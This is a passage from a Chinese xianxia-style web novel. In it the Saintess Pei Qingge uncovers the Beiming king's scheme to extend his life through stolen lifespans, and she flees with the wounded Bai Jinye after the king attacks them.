“那我就不知道了。”楚星玄微微摇了摇头,“我爹说,每一任国君都活不过二十二岁,而圣女的存在,就是为了给国君续命,所以才会早早的选出下一任圣女。” 裴清歌拿着药走到楚星玄面前,低声道,“有点疼,忍一忍。” 药碰到伤口,楚星玄顿时疼得眼前发白,几欲昏厥,这哪里是有点疼?隔了很久,他才重新找到自己的声音,“前段时间,天降雷劫,我爹去找了我一次,跟我说国君已经成功续命了。” 他把声音压得极低,“我爹说,北冥国不该存在了。” 裴清歌垂眼在他的伤口上涂药,师父留给她的话里也是说,北冥国就是人间地狱,师父和楚云颂一定都还知道些什么,“那你爹为什么把你钉在刑崖上?” “他说,如果他成功了,就会放了我。如果他失败了,到时候我可以跟国君说,我因为知道了他的阴谋,被他扔在刑崖受刑,也许能保住一命。”楚星玄说着停了下,看着裴清歌,“我本来不相信我爹的话,可是现在细细想来,有些事情确实想不通。” “圣女继任者,往往都是有几百人,从中选出一个最合适的,可选择的标准到底是什么?裴子墨,你到底是怎么成为圣女的?你将来要选你的继任者的时候,要怎么去选?” “以前的那些圣女都去哪了?你师父为什么会突然失踪?” “整个北冥国的人都把圣女视为最高崇拜,这么大的圣殿,为什么圣女千百年来都不再扩充自己的势力?” “还有……按说北冥国不与外界相通,百姓安居乐业,若是真的繁衍生息上千年,那人数应该是越来越多的,但北冥国如今似乎也没有多少百姓了。我之前带人去找你和你师父的时候,见到北冥国有很多城,都是空城。” 楚星玄眯起眼睛,“可是我们对这些,都知之甚少。” “我不知道圣女的标准是什么,甚至可能以前我以为是一些稀松平常的事情,结果却是一道考验。本来有些事该是师父在我成为圣女后教给我的,但是她失踪了,这些事也没有人再跟我说。”裴清歌帮楚星玄包扎好伤口后站起来。 “不过,我听裴姝说,有个叫遁世岛的地方,她说所有的圣女最后都会去遁世岛。” 楚星玄摇摇头表示自己没听过。 “以前我按部就班的做圣女应该做的事情,现在想想,确实有很多事情说不通。”裴清歌看着楚星玄,“你呢,你怎么想?” “我?”楚星玄苦笑一声,“我以前还能算个暗城少主,现在想做什么,也不知道从哪下手。” 裴清歌把碧血石拿出来递给他,“如果你想离开,那路你已经知道了。如果你还想做点什么,也许我们还能继续合作。” “跟你继续合作,要是被我爹知道了,恐怕更要打死我了。”楚星玄叹了口气,“不过好像也没有别的选择了。” “我也确实带着很多疑问回来,暂时也不想被任何人知道我回来的事,想先私下探查一番。”裴清歌开口道,“楚星玄,我们这次再合作,就没必要像是之前那样,互相试探了。” “哦?”楚星玄挑了挑眉,“之前互相试探是因为什么?你不肯透露身份,在异国他乡,我能随便相信一个陌生人?” “那是因为你们暗城对圣女一直怀有敌意。”裴清歌这会大概也明白了,“所以你爹一直跟圣女过不去,就是因为圣女能给国君续命这件事?” “只是其一。”楚星玄说着有些同情地看着裴清歌,“我爹还说,圣女其实是国君的傀儡,如果国君愿意,可是彻底的操控圣女做任何事。” 第139章 他想要的生活,就是在你身边保护你 裴清歌一怔,“你说的是真的?” “是啊,之前我爹一直奉国君之命找你们师徒,但是他想的,是在国君之前找到你们,最好直接解决掉你们。但是国君续命成功之后,我爹去看我的那次,跟我说,如果以后再遇到圣女,就躲远了走。”楚星玄脸上带着几丝无奈,“我说,是不是你师父也知道了什么,才逃跑了,把你一个人留在这?” “那国君想做什么,你爹提过么?”裴清歌问。 “能做什么,短命的人就想活得长一些呗,长生不老,位列仙班一类的。”楚星玄摊了摊手。 裴清歌在楚星玄的身边坐下来,目光看着远处的药炉,眉头微微的皱起来。 师父肯定是知道了什么,自己离开之后,又把她引到月城。 她重生后,恰好在白锦夜的府上。 白锦夜也活不过二十二岁。 前段时间她突然昏迷,那个声音说,不是谁的血都能养血莲。 以往,圣女身上的血莲只由北冥国国君的血来温养。 可偏偏白锦夜的血也能温养。 白锦夜和北冥国国君,会有什么关系么? 那么师父的安排,就一定是有她的良苦用心。 她要做的事情,大概和楚云颂的目的相同。 难道……师父是想让她给白锦夜改命? 以当时的情况,师父失踪,在不知道裴姝存在的情况下,给国君改命的事情必然是由她来做的。 师父离开了五年,就偏偏在国君生命的最后一年,把她引走了,甚至把紫莲戒交给了白锦夜,是不是就是在暗示她这一点? “我先送你回房间去休息吧。”裴清歌甩掉脑袋里纷纷扰扰的思绪,看向楚星玄,“事到如今,可能有些事已经不是我们想怎么样了。你这副样子,帮不了忙再成了拖累,我可不见得一直管你。” 楚星玄干笑了两声,“咱们俩这合作关系可真够脆弱的。” 裴清歌没理他,把他送回房间,就见到冷鸢在等她,刚才有很多话,冷鸢想问也不方便问,现在白锦夜和楚星玄都不在,终于能问出了口。 两个人到了藏书室,裴清歌关上门,一边翻看着古籍,一边把这段时间发生的事情,大概给冷鸢讲了一遍。 说到鬼卿的时候,冷鸢犹豫了下,但还是说道,“你觉得这样是为了鬼卿好,但是对他来说,却不一定这么想。” 裴清歌转头看她,“可是当时成为冥尸本就是迫不得已,现在有机会恢复成一个普通人,这本来就是最好的结果。” 冷鸢摇了摇头,“但成了普通人,鬼卿的战斗力就会下降一半,对他来说,就没办法更好的保护你了。” 裴清歌翻书的手微微停顿了下,“每个人都有自己的路要走,鬼卿也一样,我希望……以后他能过正常人的生活,过他想过的生活。” “他想过的生活,就是在你身边保护你。”冷鸢继续道。 裴清歌把手里的书放回书架,转身看着冷鸢,“他跟你说过?” 冷鸢沉默了会,没回答这个问题,只是说,“总之,我觉得就算你把药给了他,他也不会吃,他会去解决西夜国的瘟神蜮,等瘟神蜮解决完,也许就会回来找你。”说完,她就立刻问道,“你想找什么?我帮你一起找。” 裴清歌看了冷鸢会,也没再提鬼卿的这个话题,“我想找一些跟圣女传承有关的记载,比如符合什么样条件的人才能做圣女,还有……跟国君整个家族有关的记载。” “这些好像确实没见过。”冷鸢微微皱了下眉头,之前裴清歌几乎整日都在藏书室里看书,她陪着无聊,就也找一些书来看,这些年来,她们两个把藏书室的书看得也差不多七七八八了。 裴清歌沉默了会,目光落在不远处的虚空玉的墙上,“师父曾经给我留下过一个虚空玉,里面封印的不是什么东西,而是师父留下的一段话,你说,会不会有圣女在虚空玉里留下只言片语?” 她说着把手里的书放到一边,迈步往放虚空玉的墙边走去。 冷鸢也赶紧跟了过去,“可是不是说有些虚空玉里封印的是不该出现在这世上的东西么?若是虚空玉上的阵法被破解,虚空玉里的东西被放出来该怎么办?” 裴清歌看着一整面墙上的虚空玉,眯了眯眼,“你帮我把这些虚空玉都移到密室,我在密室里设一些阵法,先打开几个看看。” 冷鸢点点头。 两个人先移了一些虚空玉到密室,裴清歌自己留下,冷鸢就先退了出去。 她关好密室的门,往外走了几步,就见到白锦夜站在花园里,正看着面前的花,她赶紧走了过去,“别碰。” 白锦夜伸了一半的手停了下来,转头看向冷鸢。 “这是鬼面花。”冷鸢走近了开口解释道,“你看它开着鲜艳,都是为了吸引人的。”她说着从地上捡了根木枝,轻轻地碰了下花心,原本是花心的地方,又张开了一层花瓣,露出了真正的花心,那模样也是它名字的由来——整个花心就真的像是一张鬼脸。 白锦夜拧了拧眉,“这花有什么用途?” 冷鸢把木枝扔到一边,“这花主要是配合一些阵法使用,可以拘人魂魄,你也别在这站太久,对魂魄有损伤。你要是喜欢赏花,可以去那边。”她抬手指了指,“那边的花一般没什么毒。” 白锦夜往那边看了一眼,但也没走过去,只是问,“裴清歌呢?” 冷鸢微怔了一下,意识到他说的是圣女,“她现在有事在忙,你有什么事可以跟我说。” 白锦夜没说话,他本也不是出来赏花的,但这北冥国跟他想象的确实完全不一样。 “你若是无聊,我可以找些书给你看。”冷鸢又道,“你喜欢看哪种,历史、术法、传说故事?” 白锦夜对术法一窍不通,就算看术法的书,这一时半刻也不可能学会什么,“历史吧,北冥国的历史?” 外界关于北冥国知道的本来就很少,这一方面,他确实很好奇。 “好。”冷鸢转身走了,片刻后,就抱着一摞书交给了白锦夜。 白锦夜看着手上这些古朴的书,随口说了句,“还以为你们这些事都不允许外人知道呢。” “是啊。”冷鸢点点头,“这些本来就是不允许外人知道的,不过……反正你也活不……”顿了顿,她改了口,“你是圣女带回来的朋友,看看无妨。” 白锦夜抬眼看她,“她跟你说的?” 冷鸢摇了摇头,“看相这种事,我也粗浅的会一些,不过……也许圣女带你回来,会帮你想办法的。” 白锦夜笑了笑没说话,他可不是裴清歌带回来的,他是厚着脸皮跟上来的,“多谢。”说完他抱着书往自己的房间走去。 看着白锦夜的背影,冷鸢轻轻地叹了口气,按照圣女以往闭关研究事情的时间来看,恐怕等圣女出来的时候,白锦夜已经不在人世了。 第140章 冬月十九 楚星玄的伤,虽然有秘药,但是恢复得也不算快。 他每日闲着无聊,就也去藏书室翻些书来看。 冷鸢对楚星玄和白锦夜都客气里带着几丝疏离,憋着久了,楚星玄就只能和白锦夜聊天。 “说实话,当初被你囚禁的时候,还真是没想到有一天,能跟你同桌吃饭。”楚星玄手腕上的伤还没怎么好,用筷子的时候就会牵动伤口,所以他最近吃饭只能用勺子。 他用勺子盛菜也不是很熟练,白锦夜看着他把一盘子菜戳来戳去,微微皱起眉,脸上带着几丝嫌弃,“当初你中毒,我给你解毒,你给我下蛊的时候,我也没想过我还会跟你同桌吃饭。” “啧啧。”楚星玄摇了摇头,“可真够记仇,当初你们给我下毒,我只是想要解药而已,如果不是裴清歌救你,你只能找我救你,这不算是公平交换么?” 白锦夜沉默了一会,没再继续这个话题,“所以当初是谁把你打伤的?” 楚星玄倒也没有隐瞒,“应该是裴姝吧。”随即他又转口问,“你来北冥国要做什么?若是被外人发现你在这,你要死,圣殿藏你,整个圣殿的人可能都要跟着遭殃。不过……这圣殿也没什么人。”他轻笑一声,“满打满算,也就只有裴清歌和冷鸢两个活人。” 白锦夜转头看了看外面,这么多天,外面他偶尔会看到有人在走,不过那些人不会太接近他们的住处,“只有两个活人?” “是啊,那些都是肉尸。”楚星玄有些恶趣味地笑道,“就像是你娘一样,这些都是圣女炼制的肉尸,她们可以完全控制,帮她们做事,打扫圣殿、洗衣做饭,都是这些肉尸做的。” 白锦夜抬眼看了看楚星玄,没再说话。 “不过,当初药可是都送出去了,你娘这会应该恢复了吧?”楚星玄又问。 白锦夜微微点了点头,他离开盛京之前,张太妃确实醒了。 但是她醒来之后差不多完全失忆,几乎就只记得张之极一个人,不记得自己嫁给了先皇,不记得和先皇之间的点点滴滴,甚至……也不记得自己曾经有过一个儿子。 白锦夜一开始有点遗憾,但后来想,这样未必不好。 张太妃不记得他,以后也不用承受丧子之痛。 她回到张府,有张嬷嬷和张之极继续照顾她,过些简单平和的生活,就最好了。 所以他也没有让张嬷嬷等人向张太妃提起过他,他远远地看着她一切都好,就足够了。 白砺寒答应他,只要“肃亲王战死沙场”,之前的事情就可以不再计较,但也不会追封,他给白锦夜留个体面,白锦夜也不会被逼上绝路转而起兵造反。 张之极也会告老还乡,带上张太妃一起离京,反正张太妃疯了这么多年,不会有人在意她的去向。 王府里的其他人,名义上就是遣散。 白锦夜也吩咐了左辞,给所有人一个妥善的安排。 所以其实就算是他年底真的死了,这些事他倒也不用太挂心。 他现在唯一需要担心的,就是裴清歌师父说过的——开冥路。 如果他死了,会不会就像是之前那样,各个地方都会出现困笼蜮。 两个人正说着话,裴清歌突然快步冲了进来,抬手拉住白锦夜手腕就往外走。 白锦夜放下筷子,“怎么了?” “快点,要来不及了!”裴清歌的脸色难看,她这几天翻看以前圣女留下的虚空玉,有的里面封印的是恶鬼,有的是奇怪的野兽。 不过那些奇珍异兽因为被封印的时间太长,早就成了骨头架子。 恶鬼她倒也不怕,所以虽然打开了很多虚空玉,但也没闹出什么乱子。 直到今天她打开了一个虚空玉,那里面装的只是一个毫无攻击力的魂魄。 魂魄被放出来的时候,一脸的茫然。 不过魂魄的身上,被塞了一段圣女的记忆。 裴清歌从那段记忆里,知道了关于“开冥路”的事情,但凡天生会“开冥路”的人,都是“神冥公”一脉,而“神冥公”一脉,自古以来都活不过二十二岁。 那个圣女说,国君一脉,其实就是“神冥公”的后人。 不过其实“神冥公”的后人分了两支,一支建立了北冥国,成了国君,但是这一支子嗣单薄,很难开枝散叶。 而另外一支流落在外面,多年前得到了一种秘法,不仅可以延年益寿,还得以繁衍众多子嗣。 北冥国的国君多年来都在派人寻找流落在外面的那一支,希望也能得到这种秘法。 但是那一支却死守着秘法的秘密,国君一怒之下,就派人追杀所有流落在外面的“神冥公”一脉。 也是因为这件事,两支之间曾经引发过一场大战。 就是在那一次大战里,北冥国国君身受重伤,尚未有子嗣便要离世,那一任圣女才会提前进行逆天改命之事,最后圣女惨遭天谴而亡。 这一次的逆天改命裴清歌倒是在其他的古籍里见过,只不过并没有说前面的这些原因。 留下这枚虚空玉的圣女,当初也是被派出去继续寻找外面“神冥公”的后人。 在寻找的过程中,她发现了一个惊天秘密——北冥国的国君可以控制自己是不是开冥路,而他们已经有几百年不开冥路了! 所以如果外面这一支“神冥公”的后人再全被诛杀的,整个世界就会到处都是困笼蜮,而这似乎才是北冥国国君真正的目的。 也就是说,当初北冥国国君以为“神冥公”一脉只有自己这一支,他们只要不开冥路,世界上就会自然形成困笼蜮。 可一段时间之后,事情并未按照他们所想的那样发生,他们才发现外面还有一支“神冥公”的血脉。 可这秘密发现得太晚,她当时已经把最后一个知道延年益寿的秘法的人给杀了,她只能把他的魂魄封印在虚空玉里,骗当时的国君说已经把他的魂魄打散。 她没有办法反抗国君,就把这个虚空玉留下来,希望能帮助以后的人。 后面的记忆有些慌乱,似乎那圣女在做这件事的时候,也极为着急。 裴清歌这才明白她师父把她安排在白锦夜身边重生的用意。 因为国君会控制圣女,只要她重生,也许可以脱离国君的控制,这样才能真正的护住“神冥公”的后人。 她出来的时候,随口问了句冷鸢今天是什么日子,冷鸢说今天十九。 这正是白锦夜要应劫的日子! 她也顾不上那么多,就赶紧来找他,只希望还来得及。 “这么急着,这是要去做什么?” 裴清歌的脚刚跨出门槛,外面就传来一道熟悉的声音。 她脚步猛地一顿—— 国君! 第141章 原来一直都是你! 裴清歌微微抿了抿唇,往后退了一步,抓着白锦夜的手腕的手也微微收紧。 门外年轻的男子信步往前走。 他往前走,裴清歌就往后退,等他进了门,裴清歌已经退到桌边了。 楚星玄也站起来,这时候想走已经没机会了,况且国君这时候来,未必不知道他早就已经在圣殿了。 北冥国国君袁澈迈进门就停了下来,他站在那,嘴角微微含着一抹笑,“子墨,这么久去哪了?朕一直担心着你,你倒好,回来这么多天,也不派人知会一声么?” 裴清歌微微弯腰行了个礼,“见过国君。” “国君。”楚星玄也行了礼。 袁澈扫了楚星玄一眼,“听说你之前被你爹送到刑崖受罚,你爹一向宠你,你是做了什么,让他能下得了这么狠的心?” 楚星玄干笑了几声,“我爹让我带人寻找两任圣女的下落,我办事不利,我爹自然也一视同仁。” “是么?”袁澈轻笑了一声,“暗城和圣殿一向不和,你爹若是知道你在圣殿吃住得这么开心,心里恐怕会堵得慌。” “我在刑崖受罚,多少也是因圣女而起,圣女过意不去,留我在这里养伤,我想我爹应该能理解。”楚星玄解释道。 “那就好。”袁澈像是对这件事也不是很在意,又重新看向裴清歌,“子墨,你还没回答朕的问题。” “我去找我师父了。”裴清歌抬起头。 “哦?”袁澈挑了挑眉,往前走了几步,在裴清歌的面前站住,“找到了么?” “没有。”裴清歌如实回答。 “真是可惜。”袁澈抬起手,指尖轻轻地摩挲着她的脸颊,“又变成这副样子……看着真是不太顺眼。” 裴清歌微微侧头想要躲开,却被袁澈用力地捏住下颚。 “子墨,你太让朕失望了。”袁澈眯起眼,声音里带了一丝阴狠。 “放开她!”白锦夜抬手抓住袁澈的手腕,满脸不虞。 “放开?”袁澈像是这才注意到这屋子里还有一个人,他打量了一眼白锦夜,轻笑一声,“好啊。”说完他就立刻放开了手,后退了一步。 裴清歌和白锦夜都没想到袁澈像是这么好说话的人,不过下一秒,白锦夜刚刚松开袁澈手腕的手就落在了裴清歌的脖子上。 “朕放手,你来。”袁澈笑着看着这一幕。 白锦夜掐着裴清歌的脖子,脑袋里闪过裴清歌控制他刺向白砺寒的画面,又想到整个王府都差点因此覆灭,顿时怒意升腾,手指也微微缩紧。 “熟悉么?”袁澈看向裴清歌。 裴清歌抬手抓住白锦夜的手腕,皱眉看着他整个人的情绪瞬间转变,“白锦夜,你……” “裴清歌,你找死!”白锦夜眯眼盯着她,眼底闪过一抹暗芒。 这熟悉的话让裴清歌怔了一下,转头看向袁澈,“是你……” “是啊。”袁澈“哈哈”笑出声,“一直都是朕啊,你变成这副样子的第一天,朕就知道了。当年,父皇派你师父出去找到这个人,杀了他,可你师父不仅没有杀了他,还就此失踪。” “这些年,你师父自以为自己脱离了北冥国,自以为自己做的事情没人知道,真是可笑!也不想想,是谁让她成为圣女?她这一身的本事是哪来的?” “既然圣女知道的太多,就会生出不该有的心思,那就最好什么都不知道!” 袁澈说着眯了眯眼,“你这样骄傲的人,怎么能被如此折辱?朕以为,他第一次对你动手的时候,你就该杀了他,但是为什么?子墨,嗯?为什么你到现在还留着他的命?” 裴清歌抿着唇看着袁澈,“我还以为以前控制他的,是其他人,没想到会是你。” “你师父当年没做的,那就由你来动手完成吧。”袁澈继续道,“杀了他,之前所有的事情,在朕这里,都可以一笔勾销,你继续做北冥国至高无上的圣女,你擅自离国亦或是做的什么其他不该做的事情,朕都不再追究。” 裴清歌抓着白锦夜手腕的手微微用力,低声叫他,“白锦夜,你不是最不愿意被人控制么?你自己的思想呢?就这么甘心被人控制么?” “没用的。”袁澈轻笑了一声,“子墨,你若是不动手,那违抗国君的下场,你也应该清楚。” 裴清歌不清楚袁澈是怎么控制白锦夜的,她感受不到一丝术法的气息,也绝不是控制肉尸或者冥尸的方法。 难道……跟他们的血脉相关么? “裴清歌,若是王府的人但凡因为你有一点差池,本王都定要你陪葬。”说着话,白锦夜的手也蓦地收紧。 裴清歌脸色瞬间憋得涨红。 王府的人出事…… 王府的人入狱的事,白锦夜不是已经解决了么?怎么有突然提起这一茬? 裴清歌拧着眉,而且白锦夜已经跟她说,“肃亲王战死”,他不再是肃亲王了,自从跟她一起进了鬼王沙漠开始,就已经不再自称“本王”了。 所以,袁澈控制他的时候,是会放大某一部分的记忆或者是情绪,把其他的事情全都遮盖住么? 就是因为这样,之前在王府的时候,白锦夜明知道她可以救张太妃,但有的时候还是会对她下狠手? 对白锦夜本身来说,这是矛盾的。 但袁澈根本不在乎张太妃,只想激怒她,让她杀了白锦夜,自然不会考虑其他的事情。 可是……每一次袁澈控制白锦夜的时间似乎也不是很长,后来的很长时间,大概是被续命的事情分了心,也根本没有再控制过。 又或者,控制白锦夜,会耗费他极大的精力,他要全身心的为续命做准备,也没办法再控制他。 裴清歌微微眯了眯眼,抬手攻击白锦夜的肋下,他吃痛收回了手,又接连几下致命的攻击,把白锦夜抵到了墙角。 见裴清歌动了手,袁澈轻笑了一声。 裴清歌吸了口气,一手猛地拉开白锦夜的衣襟,刚刚被她趁乱咬破的手指直直地点上白锦夜的心口。 袁澈嘴角的笑容蓦地一僵,他竟然突然失去了对白锦夜的控制! 第142章 白锦夜,你不能死! 裴清歌松开手,白锦夜抓着她肩头的手也放了下来。 他抬手揉了揉眉心,脸上闪过一丝疲意。 这感觉很熟悉,就像是很久之前,他觉得自己情绪失控之后才有的疲惫。 刚才事情他也没有忘记,于是立刻抬头看向裴清歌,目光落在她脖颈的红色指印上,“我……”只说了一个字,他便猛地看向袁澈,眸中闪过一抹杀意。 袁澈眯着眼,眼底闪过怒意,“子墨,你做了什么?” 裴清歌转身看他,没有回答他的话,只是说,“国君,圣女世世代代效忠北冥国,但是也遵循天道人伦。我刚到天风国之时,功力低微,若要杀人,就必须要用术法,可圣女是不准许以术法害人的,所以我不能用术法杀他。” “他伤过我,但罪不至死,如果我堂堂北冥国圣女,只因为这点小事,就杀了个人要了条命,那也未免太狭隘了。” “况且,现在看来,那也不是他的本意,在你的控制之下,他做了那些事,若是都算在他头上,这世上恐怕没有这样的道理。” “既然效忠,那就杀了他,这是命令。”袁澈眯眼道。 裴清歌的手微微握成了拳,“北冥国向来不管外界的事,我不懂,国君为什么要杀天风国的王爷?自我成为圣女继任者到现在,一言一行,都谨遵规矩和教诲,国君,是我以往做错了么?” “朕的话,就是规矩。”袁澈说着往前走了几步。 “国君。”楚星玄上前一步,“人就在圣殿,跑也不跑不了,有什么话咱们慢慢说就是了。” 袁澈转头看向楚星玄,“你以为这里没你的事么?你之前失踪半年,不也是在他府上?这件事,朕会跟楚城主好好聊聊。” 楚星玄抿了抿唇,递给裴清歌一个保重的眼神,不敢再说话了。 袁澈这才重新看向裴清歌,“朕的话,不想再重复了,子墨,若是朕来动手……”他说到这,却突然停了下来,转头向圣殿外面看了半响,再回过头的时候,眼底脸上全是阴狠,“没时间跟你们浪费了。” 话落,便径直抽出了自己剑。 裴清歌盯着他的剑,是七杀斩,可破天下一切阵法术法,他能把裴姝从自己的困阵里救出去,大概也就是因为这把剑。 这件国君向来随身佩戴,但她却从未见国君用过。 她的神色凝重,手握了握拳,正要抵挡,却只见袁澈的手动了动,她当即失去了对身体的控制,直直地倒在地上。 她拧着眉,可甚至连眼睛都没办法转动。 袁澈提着剑,剑尖直指她的喉咙,“不听话的人,留着无用。” 白锦夜也抽出腰间软件,想要挡开袁澈的剑,可是他的剑才刚碰到袁澈的剑上,就瞬间折断。 袁澈轻笑一声,“蚍蜉撼树,自不量力。” 反正裴清歌已经在控制之中,袁澈也没有再理会她,目光落在白锦夜的胸口上,裴清歌涂上的血迹已经干涸,他微微眯了眯眼,这大概就是白锦夜突然失去控制的原因。 他抬起剑,就向白锦夜的胸口刺去。 裴清歌躺在地上,眼珠都转不了,她只能看见袁澈向白锦夜冲过去,剩下的就看不见了。 可她心里清楚,就算她刚刚完成了把白锦夜变成冥尸的法阵,但白锦夜也绝对不是袁澈的对手。 鬼卿在他手下尚没有还击之力,更何况白锦夜? 楚星玄站在一旁,看着白锦夜节节败退,手微微握成了拳头,别说他现在受伤,就算是他没受伤,都不可能是国君的对手。 若是楚云颂在这,说不定还能挡一挡。 他微微皱了下眉,向侧门看去,冷鸢站在那,对他使着眼色,示意他把裴清歌带出来。 这毕竟是圣殿,到处都是法阵和陷阱,如果他现在把裴清歌带出去,启动法阵陷阱,说不定能拖延一点时间,起码能保住裴清歌的命。 正想着,袁澈的剑尖已经戳向白锦夜的胸口,但剑尖碰到他的皮肤,就没办法再往前一分。 袁澈微微皱了下眉,收回了剑,在自己的掌心抹了一下,带着血的剑尖在几招之后再刺向白锦夜的时候,就犹如刀切豆腐一般,瞬间没入白锦夜的胸口。 “能死在朕的手上,也是你的福气了。”袁澈冷笑一声,手腕就要继续用力,但力道还没用上,整个人就瞬间侧飞出去。 裴清歌站起身,她也不是袁澈的对手,刚才那一击,是趁袁澈不备,以及也用了她所有的力气,她身体微晃了一下,从地上捡起七杀斩,一手抓住白锦夜,迅速的从侧门出去。 见他们都出来了,冷鸢才关上门,一掌拍在旁边的法阵上,随即便赶紧在前面带路,“跟我来。” 白锦夜胸口流出的血已经染红了他整个衣襟,裴清歌扶着他,“你得坚持一下,白锦夜,你不能死。” “之前……不是挺想让我死的?”白锦夜侧头看她。 裴清歌微微抿了抿唇,还没说话,手里拎着的七杀斩蓦地生出一股往相反的方向去的力道。 “怎么了?”见她的脚步停下来,楚星玄开口问道。 “这该死的鬼东西认主!”裴清歌咬了下唇,割破自己的手心,把血抹在了七杀斩的剑身,随即把七杀斩扔在了地上,“快走,我封印不了它太久,等七杀斩回到国君手里,任何阵法都困不住他。” 下了圣殿,几个人正要上马,就见不远处以楚云颂为首,带着一群侍卫冲了过来。 怔了下,楚星玄上前一步,“你们先走吧。”说完侧身拦在楚云颂和裴清歌中间,“爹,你怎么来了?” “我怎么来了?”楚云颂冷笑一声,“在这北冥国,你们还想逃到哪去?” 他说着往圣殿的方向看了一眼,“圣女若是不嫌弃,就先去暗城避避,我去‘迎一迎’国君。” “你……不是来抓我们的?”楚星玄有些诧异地看了他一眼。 楚云颂哼了一声,“回家路,要我告诉你怎么走?” “不用,谢谢爹。”楚星玄脸上一片欣喜,翻身上马,看向裴清歌,“走。” 裴清歌眯眼看了看楚云颂,按照之前楚星玄的话,他自然不是站在国君那一边的,于是对着冷鸢微微点了点头,冷鸢和她一起把白锦夜扶到马上,四人迅速的往暗城奔去。 四个人的身影很快消失,片刻后,袁澈就拎着七杀斩从圣殿里走了出来。 楚云颂沉了口气,迈步迎了上去。 第143章 靠蜮借命 进了暗城,楚星玄就迅速的带他们进了一个密室,关上门,他才松了一口气,“放心,这里可以隔绝所有气息,就算国君也不可能知道我们在这。” 冷鸢有些不相信,“真的?” “骗你们做什么?”楚星玄说着打开内室的门,四个人进了内室,他关了门,才道,“这可算是暗城最大的秘密了,这里不是靠法阵,而是靠这些石头来隔绝气息,法阵会被破解,但这石头都是天然形成,所以任何人都很难发现。” 裴清歌现在没心思研究这石头,她扶着白锦夜躺在石床上,他失血过多,此刻脸已经白的像是一张纸,“这里有药么?” “有。”楚星玄点点头,打开一旁的柜子。 “阿鸢,去拿些止血的药过来。”裴清歌开口道。 冷鸢很快拿了药过来,裴清歌接过来一股脑地都倒在了白锦夜的胸口,然后用手死死地按着。 楚星玄看着有点心疼,这密室是暗城最后的避难处,这里的药都是最好的药,就算圣殿家大业大的,裴清歌也不能这么浪费吧?他拧了拧眉,“你不能先用银针帮他止血,之后再上药么?” “不行。”裴清歌拧着眉,“他现在是冥尸状态,铜皮铁骨,银针根本刺不进去。” 这会,她甚至不知道把白锦夜变成冥尸到底是救他还是害他了。 他今日应劫,按照以前的想法,只要把他变成冥尸,他就可以不再受寿元的影响,这一天也就不会死了。 国君当时控制了白锦夜,她把他变成冥尸,就可以从国君的控制之下解脱出来,同时也没了寿元的影响。 可偏偏……今日应劫的话,那也有另外一种可能,就是所有的事情都朝着“白锦夜今天会死”这样的结局发展,说不定她把他变成冥尸,也是促成他死亡的一步。 毕竟如果他不是冥尸,受了伤,她能给他治伤。 但是成了冥尸,不能施针,一般的药也没有太大的作用。 就像之前鬼卿受伤一样,只能靠自愈。 “白锦夜,你不是那么在乎王府的人,在乎天风国那些百姓么?你如果死了,很多事情就会失去控制,到时候你在乎的那些百姓,都会成为别人寻求成仙路上的祭品。”裴清歌咬牙看着双眼紧闭的白锦夜,“你听到的话,就自己努力的活下去。” “你之前让我把你变成冥尸,你现在已经是了,不再受命数的影响,但是你得……” 她的话没说完,白锦夜就抬起手按在她的手上,他没有再动,但是手也一直没有挪开。 裴清歌垂眼看着白锦夜的手,眉头死死地蹙在一起,只盼着没有命数的影响,他能熬过这一关。 “也许,这个能帮帮他。”楚星玄从一旁的柜子上拿下来一个小瓷罐,从里面捏出条虫子往前走了几步,“血菩提。” 裴清歌看了他手里的虫子一眼,血菩提专治外伤,有快速愈合伤口的功效,无论是什么样的伤口,只要放上血菩提,都能迅速愈合。 只不过这血菩提极难养成,用一次之后,就要休眠很多年才能用下一次,“你们暗城还有这种好东西。” “就这么一条了,我爹养的。”楚星玄说着把血菩提放在白锦夜胸口的伤口上,随着血菩提蠕动,伤口果然很快的愈合。 “你爹知道你用了这血菩提,不会又把你送到刑崖吧?”裴清歌见状,这才松了一口气。 “你刚才都说的那么严重了,我还能见死不救么?”楚星玄看着伤口完全愈合,就迅速的小心翼翼地拿起身体开始变得透明、一动不动的血菩提,轻轻地放回小瓷罐。 虽然暂时没了性命之忧,但白锦夜毕竟失血太多,恢复起来也要些时间。 楚星玄把小瓷罐放回去,才转头看向裴清歌问道,“国君既然能控制你,你又是怎么脱离他的控制的?” 裴清歌抿了下唇,她当时确实已经完全没办法移动,但是很快,从她肩膀上血莲的位置就涌出一股暖流,这暖流迅速的蔓延至她全身,然后她就恢复了对自己身体的控制,沉默了会,她没有说出血莲的事,只是说,“大概是因为换了身体的缘故,只是被控制了一下,之后就脱离了他的掌控。” “这倒是好了。”楚星玄脸上闪过一抹笑意,“你以后也不用担心被他控制了。” 冷鸢犹豫了很久,终于还是问出了口,“国君为什么要杀他?” 裴清歌的手微微握紧,隔了半响才把之前看过的那个虚空玉里圣女的记忆复述了一遍,“我还在另外一个虚空玉里,看到一些记载。因为逆天改命这件事并不能保证百分之百成功,也没有谁能保证在改命之后,能扛住雷劫。所以……国君找到了一种可以续命的方式。” “也不能说是续命,应该说是借命。” “他们在各个地方养蜮,被蜮害死的人,没过完的寿命就会移到国君的身上,但是这种借来的命损耗极大,有的时候很多个人加一起几百年的寿命,换算到国君的身上,就只剩下一天,甚至几个时辰。” “可在他们眼里,只要自己能活下去,就算全天下的人都死光了,又能算什么?” “养蜮这种事,要耗费很大的精力,而且随便养一两个蜮也很难供应上国君寿命的需求。” “所以,只有困笼蜮是最简单的了。”冷鸢低声道,目光也跟着落在白锦夜的身上,“那现在除了他和国君,再也没有‘神冥公’的后人了么?” “我也不知道,所以我也不敢冒这个险,万一真的没有了……”裴清歌说着顿了顿,“不过,国君能通过奇怪的方式控制白锦夜,我想也许他有什么办法能感应到跟自己血脉相连的人,可惜现在白锦夜成了冥尸,就算知道是什么办法,恐怕也没办法感应到了。” “这倒是很奇怪。”楚星玄摸着自己的下巴,“如果白锦夜是‘神冥公’的后人,天风国的先皇和张太妃两个人中有一个应该也是‘神冥公’的后人。先皇不只白锦夜一个孩子,所以他肯定不是了。如果张太妃也是‘神冥公’的后人,那白锦夜就不是唯一的后人啊。” “那张太妃也有危险了。”裴清歌说着猛地站起来,“怪不得,怪不得当初有人把圣湖水给了张之极!张之极因为吃了清心草,所以喝了圣湖水之后强身健体,旧疾康复,他回家把圣湖水给全家人都喝了,有张家血脉的人也因此死的就剩下张之极、张太妃和白锦夜两个人。” “我当时还想,圣女每年从圣湖里取出的圣湖水都是有定数的,又会是谁能弄出去那么多圣湖水给张之极,这么说,就只能是前任国君了!” 第144章 你知道的,只是国君想让你知道的 